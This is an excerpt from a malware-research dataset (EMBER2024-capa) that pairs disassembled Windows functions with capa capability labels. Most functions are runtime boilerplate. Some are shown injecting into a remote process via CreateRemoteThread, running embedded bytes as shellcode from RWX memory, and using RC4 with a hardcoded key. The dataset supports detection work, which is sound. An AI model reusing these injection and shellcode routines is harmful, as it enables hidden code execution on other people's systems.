joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140004d10
Capabilities:
Encode data using base64

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rdi
mov qword [rsp + 0x18], r14
lea eax, [r8 - 2]
mov r10, rdx
xor edx, edx
movsxd rcx, eax
lea r14, str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_
mov rdi, r9
test eax, eax
jle 0x140004dc5
dec rcx
lea rbx, [r10 + 2]
movabs rax, 0xaaaaaaaaaaaaaaab
mul rcx
shr rdx, 1
lea r11, [rdx + 1]
lea edx, [r11 + r11*2]
movzx eax, byte [rbx - 2]
shr rax, 2
mov al, byte [rax + r14]
mov byte [r9], al
movsx rcx, byte [rbx - 2]
movzx eax, byte [rbx - 1]
and ecx, 3
shr rax, 4
shl rcx, 4
or rcx, rax
mov al, byte [rcx + r14]
mov byte [r9 + 1], al
movsx rax, byte [rbx - 1]
movzx ecx, byte [rbx]
and eax, 0xf
shl rax, 2
shr rcx, 6
or rcx, rax
mov al, byte [rcx + r14]
mov byte [r9 + 2], al
movsx rax, byte [rbx]
lea rbx, [rbx + 3]
and eax, 0x3f
mov al, byte [rax + r14]
mov byte [r9 + 3], al
add r9, 4
sub r11, 1
jne 0x140004d5c
movsxd rax, edx
sub r8d, edx
add r10, rax
test r8b, 2
je 0x140004e19
movzx eax, byte [r10]
shr rax, 2
mov al, byte [rax + r14]
mov byte [r9], al
movsx rcx, byte [r10]
movzx eax, byte [r10 + 1]
and ecx, 3
shr rax, 4
shl rcx, 4
or rcx, rax
mov al, byte [rcx + r14]
mov byte [r9 + 1], al
movsx rax, byte [r10 + 1]
and eax, 0xf
mov al, byte [r14 + rax*4]
mov byte [r9 + 2], al
mov byte [r9 + 3], 0x3d
jmp 0x140004e47
test r8b, 1
je 0x140004e4b
movzx eax, byte [r10]
shr rax, 2
mov al, byte [rax + r14]
mov byte [r9], al
movsx rcx, byte [r10]
and ecx, 3
add rcx, rcx
mov cl, byte [r14 + rcx*8]
mov byte [r9 + 1], cl
mov word [r9 + 2], 0x3d3d
add r9, 4
mov rbx, qword [rsp + 8]
mov rax, rdi
mov rdi, qword [rsp + 0x10]
mov r14, qword [rsp + 0x18]
mov byte [r9], 0
ret
Function at 0x140004ea4
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
and dword [rcx + 0x214], 0
lea r11, str.ZAQwsxcde321
and dword [rcx + 0x218], 0
mov r10, rdx
and dword [rcx + 0x210], 0
mov r8, rcx
or r9, 0xffffffffffffffff
mov rax, r9
inc rax
cmp byte [r11 + rax], 0
jne 0x140004ecd
and dword [rcx + 0x20c], 0
mov dword [rcx + 0x21c], eax
xor ecx, ecx
mov eax, ecx
movsxd rcx, ecx
cdq
idiv dword [r8 + 0x21c]
movsxd rax, edx
mov al, byte [rax + r11]
mov byte [rcx + r8 + 0x108], al
movsxd rcx, dword [r8 + 0x20c]
mov al, byte [r8 + 0x20c]
mov byte [rcx + r8 + 8], al
mov ecx, dword [r8 + 0x20c]
inc ecx
mov dword [r8 + 0x20c], ecx
cmp ecx, 0x100
jl 0x140004ee6
and dword [r8 + 0x20c], 0
xor edx, edx
movsxd r11, edx
movzx eax, byte [r11 + r8 + 8]
movzx ecx, byte [r11 + r8 + 0x108]
add ecx, eax
add ecx, dword [r8 + 0x210]
movzx eax, cl
mov dword [r8 + 0x210], eax
cmp edx, eax
je 0x140004f9a
mov cl, byte [rax + r8 + 8]
xor byte [r11 + r8 + 8], cl
movsxd rax, dword [r8 + 0x20c]
movsxd rdx, dword [r8 + 0x210]
mov cl, byte [rax + r8 + 8]
xor byte [rdx + r8 + 8], cl
movsxd rax, dword [r8 + 0x210]
movsxd rdx, dword [r8 + 0x20c]
mov cl, byte [rax + r8 + 8]
xor byte [rdx + r8 + 8], cl
mov edx, dword [r8 + 0x20c]
inc edx
mov dword [r8 + 0x20c], edx
cmp edx, 0x100
jl 0x140004f37
inc r9
cmp byte [r10 + r9], 0
jne 0x140004fb2
and dword [r8 + 0x20c], 0
mov dword [r8 + 0x21c], r9d
test r9d, r9d
jle 0x1400050a2
mov eax, dword [r8 + 0x214]
inc eax
movzx edx, al
mov dword [r8 + 0x214], edx
movzx eax, byte [rdx + r8 + 8]
add eax, dword [r8 + 0x218]
movzx ecx, al
mov dword [r8 + 0x218], ecx
cmp edx, ecx
je 0x14000503c
mov cl, byte [rcx + r8 + 8]
xor byte [rdx + r8 + 8], cl
movsxd rax, dword [r8 + 0x214]
movsxd rdx, dword [r8 + 0x218]
mov cl, byte [rax + r8 + 8]
xor byte [rdx + r8 + 8], cl
movsxd rax, dword [r8 + 0x218]
movsxd rdx, dword [r8 + 0x214]
mov cl, byte [rax + r8 + 8]
xor byte [rdx + r8 + 8], cl
movsxd rax, dword [r8 + 0x218]
movsxd r9, dword [r8 + 0x20c]
movzx edx, byte [rax + r8 + 8]
movsxd rax, dword [r8 + 0x214]
movzx ecx, byte [rax + r8 + 8]
add rdx, rcx
movzx eax, dl
movzx edx, byte [rax + r8 + 8]
mov byte [r8 + 0x208], dl
movsx eax, byte [r9 + r10]
cmp edx, eax
jne 0x140005083
mov byte [r8 + 0x208], 0
xor dl, dl
xor byte [r9 + r10], dl
inc dword [r8 + 0x20c]
mov eax, dword [r8 + 0x20c]
cmp eax, dword [r8 + 0x21c]
jl 0x140004fd4
mov rax, r10
ret
Function at 0x140005688
Capabilities:
Allocate or change rwx memory
Create thread
Execute shellcode via indirect call
Inject thread
Print debug messages
Spawn thread to rwx shellcode

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push r14
sub rsp, 0x60
mov rsi, rdx
mov rbx, rcx
mov qword [rax - 0x18], 0
test rcx, rcx
je 0x1400057cb
test rdx, rdx
je 0x1400057cb
test r8d, r8d
je 0x1400057cb
mov r14d, r8d
mov dword [rax - 0x48], 0x40
mov r9d, 0x3000
mov r8d, r8d
xor edx, edx
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov rdi, rax
test rax, rax
je 0x1400057cb
and qword [rsp + 0x20], 0
mov r9d, r14d
mov r8, rsi
mov rdx, rax
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x1400057cb
lea rax, [rsp + 0x88]
mov qword [rsp + 0x30], rax
and dword [rsp + 0x28], 0
and qword [rsp + 0x20], 0
mov r9, rdi
xor r8d, r8d
xor edx, edx
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov qword [rsp + 0x50], rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 8
jne 0x1400057cb
lea rcx, str.ntdll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov rcx, rax
lea rdx, str.RtlCreateUserThread
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
xor r8d, r8d
test rax, rax
je 0x1400057b8
and qword [rsp + 0x48], r8
lea rcx, [rsp + 0x50]
mov qword [rsp + 0x40], rcx
and qword [rsp + 0x38], r8
mov qword [rsp + 0x30], rdi
and qword [rsp + 0x28], r8
and qword [rsp + 0x20], r8
xor r9d, r9d
xor edx, edx
mov rcx, rbx
call rax
cmp qword [rsp + 0x50], 0
jne 0x1400057cb
lea rcx, str.INJECTION_FAILED_
call qword [sym.imp.KERNEL32.dll_OutputDebugStringA]
mov eax, 1
jmp 0x1400057cf
mov rdx, r14
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov eax, 1
jmp 0x1400057cf
jmp 0x1400057cd
xor eax, eax
lea r11, [rsp + 0x60]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov rsp, r11
pop r14
ret
Function at 0x14000a418
Capabilities:
Query or enumerate registry value

Disassembly:
mov qword [rsp + 0x20], rbx
push rbp
push rsi
push rdi
sub rsp, 0x250
mov rax, qword [0x140036040]
xor rax, rsp
mov qword [rsp + 0x240], rax
mov qword [rsp + 0x30], rcx
mov rdi, r8
mov rbx, rdx
mov rsi, rcx
xor ebp, ebp
lea rcx, [rsp + 0x42]
xor edx, edx
mov word [rsp + 0x40], bp
mov r8d, 0x1fc
call fcn.140025b00
lea rax, [rsp + 0x30]
mov dword [rsp + 0x30], 0xff
mov qword [rsp + 0x28], rax
xor r9d, r9d
lea rax, [rsp + 0x40]
xor r8d, r8d
mov rdx, rdi
mov qword [rsp + 0x20], rax
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
xorps xmm0, xmm0
movups xmmword [rsi], xmm0
mov qword [rsi + 0x10], rbp
mov qword [rsi + 0x18], rbp
test eax, eax
jne 0x14000a4ba
lea rax, [rsp + 0x40]
or r8, 0xffffffffffffffff
inc r8
cmp word [rax + r8*2], bp
jne 0x14000a4a9
lea rdx, [rsp + 0x40]
jmp 0x14000a4c4
xor r8d, r8d
lea rdx, [0x140030b18]
mov rcx, rsi
call fcn.140002b6c
mov rax, rsi
mov rcx, qword [rsp + 0x240]
xor rcx, rsp
call fcn.14000d100
mov rbx, qword [rsp + 0x288]
add rsp, 0x250
pop rdi
pop rsi
pop rbp
ret
Function at 0x14000db68
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14000dbb2
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14000dbb2
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14000dbb2
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14000dbb2
cmp dword [rcx + 0x84], 0xe
jbe 0x14000dbb2
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x14000dbb4
xor al, al
add rsp, 0x28
ret

Function at 0x140014238
Capabilities:
Parse pe header

Disassembly:
mov dword [rsp + 0x18], r8d
mov dword [rsp + 0x10], edx
push rbp
mov rbp, rsp
sub rsp, 0x50
mov qword [rbp - 0x20], 0xfffffffffffffffe
mov qword [rsp + 0x60], rbx
mov ebx, ecx
test r8d, r8d
jne 0x1400140a3
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x1400140a3
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x1400140a3
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x1400140a3
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x1400140a3
cmp dword [rcx + 0x84], 0xe
jbe 0x1400140a3
cmp dword [rcx + 0xf8], 0
je 0x1400140a3
mov ecx, ebx
call fcn.140014154
mov byte [rbp + 0x28], 0
lea rax, [rbp + 0x18]
mov qword [rbp - 0x18], rax
lea rax, [rbp + 0x20]
mov qword [rbp - 0x10], rax
lea rax, [rbp + 0x28]
mov qword [rbp - 8], rax
mov eax, 2
mov dword [rbp - 0x2c], eax
mov dword [rbp - 0x28], eax
lea r9, [rbp - 0x2c]
lea r8, [rbp - 0x18]
lea rdx, [rbp - 0x28]
lea rcx, [rbp - 0x30]
call fcn.140013f30
nop
cmp dword [rbp + 0x20], 0
je 0x1400140f1
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rbp
ret
mov ecx, ebx
call fcn.1400140fc
int3
xor r8d, r8d
xor edx, edx
jmp 0x140014034
Function at 0x14001cf4c
Capabilities:
Get file size

Disassembly:
push rbx
sub rsp, 0x20
mov edx, dword [rcx + 0x14]
nop
shr edx, 3
test dl, 1
je 0x14001cf62
mov al, 1
jmp 0x14001cfc2
mov eax, dword [rcx + 0x14]
nop
test al, 0xc0
je 0x14001cf73
mov rax, qword [rcx + 8]
cmp qword [rcx], rax
je 0x14001cfc0
mov ecx, dword [rcx + 0x18]
nop
call fcn.14001f380
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x14001cfc0
mov r9d, 1
lea r8, [rsp + 0x38]
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
test eax, eax
je 0x14001cfc0
lea rdx, [rsp + 0x30]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
test eax, eax
je 0x14001cfc0
mov rax, qword [rsp + 0x30]
cmp qword [rsp + 0x38], rax
sete al
jmp 0x14001cfc2
xor al, al
add rsp, 0x20
pop rbx
ret
Function at 0x14001e924
Capabilities:
Query environment variable

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor ebp, ebp
mov rbx, rax
test rax, rax
je 0x14001e9ab
mov rsi, rbx
cmp word [rax], bp
je 0x14001e96a
or rax, 0xffffffffffffffff
inc rax
cmp word [rsi + rax*2], bp
jne 0x14001e954
lea rsi, [rsi + rax*2]
add rsi, 2
cmp word [rsi], bp
jne 0x14001e950
sub rsi, rbx
add rsi, 2
sar rsi, 1
add rsi, rsi
mov rcx, rsi
call fcn.14001a33c
mov rdi, rax
test rax, rax
je 0x14001e998
mov r8, rsi
mov rdx, rbx
mov rcx, rax
call fcn.140025ec0
mov rbp, rdi
xor ecx, ecx
call fcn.14001a0a0
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rax, rbp
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret
Function at 0x140022820
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 0x20], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x30
movsxd r15, ecx
lea r9, [0x140038040]
mov rax, r15
mov rbp, r15
and eax, 0x3f
sar rbp, 6
mov ecx, 4
xor esi, esi
mov r14, rdx
lea rdi, [rax + rax*8]
mov rax, qword [r9 + rbp*8]
lea r13d, [rcx + 6]
mov r10, qword [rax + rdi*8 + 0x28]
test r8, r8
je 0x140022877
cmp word [rdx], r13w
jne 0x140022877
or byte [rax + rdi*8 + 0x38], cl
jmp 0x14002287c
and byte [rax + rdi*8 + 0x38], 0xfb
lea r8, [rdx + r8*2]
mov rbx, r14
cmp r14, r8
jae 0x1400229a1
mov r11d, 0xd
lea r12d, [r11 - 0xb]
movzx ecx, word [rdx]
cmp cx, 0x1a
je 0x1400229c2
lea r9, [rdx + 2]
cmp cx, r11w
je 0x1400228b5
mov rdx, r9
mov word [rbx], cx
jmp 0x1400228dc
cmp r9, r8
jae 0x1400228ec
cmp word [r9], r13w
mov rax, r12
mov ecx, 4
cmove rax, rcx
add rdx, rax
mov eax, r13d
cmp word [r9], r13w
cmovne ax, r11w
mov word [rbx], ax
mov rax, r12
add rbx, rax
cmp rdx, r8
jb 0x140022896
jmp 0x1400229a1
lea r9, [rsp + 0x80]
mov qword [rsp + 0x20], rsi
mov r8d, r12d
lea rdx, [rsp + 0x70]
mov rcx, r10
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x140022996
cmp dword [rsp + 0x80], esi
je 0x140022996
lea r8, [0x140038040]
mov rax, qword [r8 + rbp*8]
test byte [rax + rdi*8 + 0x38], 0x48
je 0x14002296e
movzx eax, word [rsp + 0x70]
cmp ax, r13w
jne 0x14002293e
mov word [rbx], r13w
jmp 0x14002299e
mov ecx, 0xd
mov word [rsp + 0x78], ax
mov word [rbx], cx
mov rax, qword [r8 + rbp*8]
lea rcx, [rax + rdi*8]
mov al, byte [rsp + rsi + 0x78]
mov byte [rcx + rsi + 0x3a], al
inc rsi
cmp rsi, r12
jl 0x14002294b
mov rax, qword [r8 + rbp*8]
mov byte [rax + rdi*8 + 0x3c], r13b
jmp 0x14002299e
cmp word [rsp + 0x70], r13w
jne 0x14002297b
cmp rbx, r14
je 0x140022938
mov rdx, 0xfffffffffffffffe
mov ecx, r15d
lea r8d, [rdx + 3]
call fcn.140022740
cmp word [rsp + 0x70], r13w
je 0x1400229a1
mov ecx, 0xd
mov word [rbx], cx
add rbx, r12
sub rbx, r14
sar rbx, 1
lea eax, [rbx + rbx]
mov rbx, qword [rsp + 0x88]
add rsp, 0x30
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
lea r8, [0x140038040]
mov rdx, qword [r8 + rbp*8]
mov al, byte [rdx + rdi*8 + 0x38]
test al, 0x40
jne 0x14002299b
or al, r12b
mov byte [rdx + rdi*8 + 0x38], al
jmp 0x1400229a1
Function at 0x1400247b0
Capabilities:
Clear file content

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r12
push r14
push r15
sub rsp, 0x20
mov rbx, rdx
mov rsi, r8
xor edx, edx
mov r14d, ecx
lea r8d, [rdx + 1]
call fcn.140022740
xor edx, edx
mov ecx, r14d
mov r12, rax
lea r8d, [rdx + 2]
call fcn.140022740
mov rbp, rbx
sub rbp, rax
cmp r12, 0xffffffffffffffff
je 0x140024900
cmp rax, 0xffffffffffffffff
je 0x140024900
xor edi, edi
test rbp, rbp
jle 0x1400248ab
lea edx, [rdi + 1]
mov ecx, 0x1000
call fcn.14001ba98
mov rbx, rax
test rax, rax
jne 0x140024838
lea edi, [rax + 0xc]
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], edi
jmp 0x1400248a1
mov edx, 0x8000
mov ecx, r14d
call fcn.140019120
mov r15d, eax
mov eax, 0x1000
mov r8d, ebp
cmp rbp, rax
mov r9, rsi
mov rdx, rbx
mov ecx, r14d
cmovge r8d, eax
call fcn.14001cb4c
cmp eax, 0xffffffff
je 0x140024881
cdqe
sub rbp, rax
test rbp, rbp
jg 0x140024848
mov edx, r15d
mov ecx, r14d
call fcn.140019120
jmp 0x1400248a1
cmp byte [rsi + 0x38], dil
je 0x140024898
cmp dword [rsi + 0x34], 5
jne 0x140024898
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], 0xd
cmp byte [rsi + 0x30], dil
je 0x1400248a1
mov edi, dword [rsi + 0x2c]
mov rcx, rbx
call fcn.14001a0a0
jmp 0x140024914
jns 0x140024914
xor r8d, r8d
mov rdx, rbx
mov ecx, r14d
call fcn.140022740
cmp rax, 0xffffffffffffffff
jne 0x1400248cc
cmp byte [rsi + 0x30], dil
je 0x140024914
mov edi, dword [rsi + 0x2c]
jmp 0x140024914
mov ecx, r14d
call fcn.14001f380
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
test eax, eax
jne 0x140024914
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov byte [rsi + 0x38], 1
mov edi, 0xd
mov dword [rsi + 0x34], eax
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], 0xd
jmp 0x140024914
xor edi, edi
cmp byte [rsi + 0x30], dil
je 0x14002490d
mov eax, dword [rsi + 0x2c]
jmp 0x140024912
mov eax, 0x16
mov edi, eax
xor r8d, r8d
mov rdx, r12
mov ecx, r14d
call fcn.140022740
mov rbx, qword [rsp + 0x40]
mov eax, edi
mov rdi, qword [rsp + 0x58]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
add rsp, 0x20
pop r15
pop r14
pop r12
ret

Function at 0x140025670
Capabilities:
Parse pe header

Disassembly:
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x140025698
movsxd rdx, dword [rcx + 0x3c]
add rdx, rcx
cmp dword [rdx], 0x4550
jne 0x140025698
xor eax, eax
mov ecx, 0x20b
cmp word [rdx + 0x18], cx
sete al
ret
xor eax, eax
ret
Function at 0x140001180
Capabilities:
Terminate process

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x20
mov rbx, qword [0x140004460]
mov rbp, qword [sym.imp.KERNEL32.dll_Sleep]
xor edi, edi
mov rax, qword gs:[0x30]
mov rsi, qword [rax + 8]
jmp 0x1400011c0
cmp rsi, rax
je 0x140001320
mov ecx, 0x3e8
call rbp
mov rax, rdi
lock cmpxchg qword [rbx], rsi
test rax, rax
jne 0x1400011b0
mov rsi, qword [0x140004470]
xor edi, edi
mov eax, dword [rsi]
cmp eax, 1
je 0x140001337
mov eax, dword [rsi]
test eax, eax
je 0x1400013a0
mov dword [0x140007008], 1
mov eax, dword [rsi]
cmp eax, 1
je 0x14000134c
test edi, edi
je 0x14000136d
mov rax, qword [0x1400043c0]
mov rax, qword [rax]
test rax, rax
je 0x140001223
xor r8d, r8d
mov edx, 2
xor ecx, ecx
call rax
call dbg._pei386_runtime_relocator
mov rcx, qword [dbg._gnu_exception_handler]
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rdx, qword [0x140004450]
lea rcx, [dbg.__mingw_invalidParameterHandler]
mov qword [rdx], rax
call sym._set_invalid_parameter_handler
call dbg._fpreset
mov ebx, dword [0x140007028]
lea edi, [rbx + 1]
movsxd rdi, edi
shl rdi, 3
mov rcx, rdi
call sym.malloc
mov r12, qword [0x140007020]
mov rbp, rax
test ebx, ebx
jle 0x1400013c0
sub rdi, 8
xor ebx, ebx
mov rcx, qword [r12 + rbx]
call sym.strlen
lea rsi, [rax + 1]
mov rcx, rsi
call sym.malloc
mov r8, rsi
mov qword [rbp + rbx], rax
mov rdx, qword [r12 + rbx]
mov rcx, rax
add rbx, 8
call sym.memcpy
cmp rdi, rbx
jne 0x140001280
add rdi, rbp
mov qword [rdi], 0
mov qword [0x140007020], rbp
call dbg.__main
mov rax, qword [0x1400043e0]
mov r8, qword [0x140007018]
mov ecx, dword [0x140007028]
mov rax, qword [rax]
mov qword [rax], r8
mov rdx, qword [0x140007020]
call sym.main
mov ecx, dword [0x14000700c]
mov dword [0x140007010], eax
test ecx, ecx
je 0x1400013c8
mov edx, dword [0x140007008]
test edx, edx
je 0x140001380
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
mov rsi, qword [0x140004470]
mov edi, 1
mov eax, dword [rsi]
cmp eax, 1
jne 0x1400011e1
mov ecx, 0x1f
call dbg._amsg_exit
mov eax, dword [rsi]
cmp eax, 1
jne 0x140001200
mov rdx, qword [0x140004490]
mov rcx, qword [0x140004480]
call sym._initterm
mov dword [rsi], 2
test edi, edi
jne 0x140001208
xor eax, eax
xchg qword [rbx], rax
jmp 0x140001208
call sym._cexit
mov eax, dword [0x140007010]
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
mov rdx, qword [0x1400044b0]
mov rcx, qword [0x1400044a0]
mov dword [rsi], 1
call sym._initterm
jmp 0x1400011f5
mov rdi, rax
jmp 0x1400012b5
mov ecx, eax
call sym.exit
nop

Function at 0x140001450
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x40
call dbg.__main
movabs rax, 0xd9d8daa3763b85bd
movabs rdx, 0xb1c9335bf42474
mov qword [rbp - 0x20], rax
mov qword [rbp - 0x18], rdx
mov r9d, 0x40
mov r8d, 0x1000
mov edx, 0x10
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_VirtualAlloc]
call rax
mov qword [rbp - 8], rax
mov rax, qword [rbp - 0x20]
mov rdx, qword [rbp - 0x18]
mov rcx, qword [rbp - 8]
mov qword [rcx], rax
mov qword [rcx + 8], rdx
mov rax, qword [rbp - 8]
call rax
mov eax, 0
add rsp, 0x40
pop rbp
ret
Function at 0x140001780
Capabilities:
Write file on windows

Disassembly:
push rsi
push rbx
sub rsp, 0x38
mov rbx, rcx
lea rax, [rsp + 0x58]
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call sym.__acrt_iob_func
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sym.fwrite
mov rsi, qword [rsp + 0x28]
mov ecx, 2
call sym.__acrt_iob_func
mov rdx, rbx
mov rcx, rax
mov r8, rsi
call dbg.vfprintf
call sym.abort
nop
nop dword [rax]

Function at 0x1400017f0
Capabilities:
Allocate or change rwx memory

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rsi, dword [0x140007094]
mov rbx, rcx
test esi, esi
jle 0x140001920
mov rax, qword [0x140007098]
xor r9d, r9d
add rax, 0x18
nop word [rax + rax]
mov r8, qword [rax]
cmp rbx, r8
jb 0x14000183b
mov rdx, qword [rax + 8]
mov edx, dword [rdx + 8]
add r8, rdx
cmp rbx, r8
jb 0x1400018c5
add r9d, 1
add rax, 0x28
cmp r9d, esi
jne 0x140001820
mov rcx, rbx
call dbg.__mingw_GetSectionForAddress
mov rdi, rax
test rax, rax
je 0x140001942
mov rax, qword [0x140007098]
lea rbx, [rsi + rsi*4]
shl rbx, 3
add rax, rbx
mov qword [rax + 0x20], rdi
mov dword [rax], 0
call dbg._GetPEImageBase
mov edx, dword [rdi + 0xc]
mov r8d, 0x30
lea rcx, [rax + rdx]
mov rax, qword [0x140007098]
lea rdx, [rsp + 0x20]
mov qword [rax + rbx + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x140001927
mov eax, dword [rsp + 0x44]
lea edx, [rax - 0x40]
and edx, 0xffffffbf
je 0x1400018be
lea edx, [rax - 4]
and edx, 0xfffffffb
jne 0x1400018d0
add dword [0x140007094], 1
add rsp, 0x50
pop rbx
pop rsi
pop rdi
ret
cmp eax, 2
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r8d, 0x40
mov eax, 4
cmove r8d, eax
add rbx, qword [0x140007098]
mov qword [rbx + 8], rcx
mov r9, rbx
mov qword [rbx + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x1400018be
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call dbg.__report_error
nop dword [rax]
xor esi, esi
jmp 0x140001848
mov rax, qword [0x140007098]
mov edx, dword [rdi + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + rbx + 0x18]
call dbg.__report_error
mov rdx, rbx
lea rcx, str.Address__p_has_no_image_section
call dbg.__report_error
nop
nop word cs:[rax + rax]
nop dword [rax]

Function at 0x140001eb0
Capabilities:
Get thread local storage value

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x20
lea r12, [0x140007100]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x1400070e0]
test rbx, rbx
je 0x140001f0c
mov rbp, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rdi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop dword [rax]
mov ecx, dword [rbx]
call rbp
mov rsi, rax
call rdi
test eax, eax
jne 0x140001f03
test rsi, rsi
je 0x140001f03
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x140001ee8
mov rcx, r12
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
Function at 0x140002120
Capabilities:
Parse pe header

Disassembly:
xor eax, eax
cmp word [rcx], 0x5a4d
jne 0x140002138
movsxd rdx, dword [rcx + 0x3c]
add rcx, rdx
cmp dword [rcx], 0x4550
je 0x140002140
ret
xor eax, eax
cmp word [rcx + 0x18], 0x20b
sete al
ret

Function at 0x140002150
Capabilities:
Enumerate pe sections

Disassembly:
movsxd rax, dword [rcx + 0x3c]
add rcx, rax
movzx eax, word [rcx + 0x14]
movzx r8d, word [rcx + 6]
lea rax, [rcx + rax + 0x18]
test r8w, r8w
je 0x14000219d
lea ecx, [r8 - 1]
lea rcx, [rcx + rcx*4]
lea r9, [rax + rcx*8 + 0x28]
nop dword [rax + rax]
mov r8d, dword [rax + 0xc]
mov rcx, r8
cmp rdx, r8
jb 0x140002194
add ecx, dword [rax + 8]
cmp rdx, rcx
jb 0x14000219f
add rax, 0x28
cmp rax, r9
jne 0x140002180
xor eax, eax
ret

Function at 0x1400021a0
Capabilities:
Parse pe header

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x20
mov rsi, rcx
call sym.strlen
cmp rax, 8
ja 0x140002230
mov rdx, qword [0x1400043d0]
xor ebx, ebx
cmp word [rdx], 0x5a4d
jne 0x14000221e
movsxd rax, dword [rdx + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
jne 0x14000221e
cmp word [rax + 0x18], 0x20b
jne 0x14000221e
movzx edx, word [rax + 0x14]
lea rbx, [rax + rdx + 0x18]
movzx edx, word [rax + 6]
test dx, dx
je 0x140002230
lea eax, [rdx - 1]
lea rax, [rax + rax*4]
lea rdi, [rbx + rax*8 + 0x28]
jmp 0x140002209
add rbx, 0x28
cmp rbx, rdi
je 0x140002230
mov r8d, 8
mov rdx, rsi
mov rcx, rbx
call sym.strncmp
test eax, eax
jne 0x140002200
mov rax, rbx
add rsp, 0x20
pop rbx
pop rsi
pop rdi
ret
xor ebx, ebx
mov rax, rbx
add rsp, 0x20
pop rbx
pop rsi
pop rdi
ret

Function at 0x140002240
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x1400043d0]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x140002260
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x140002268
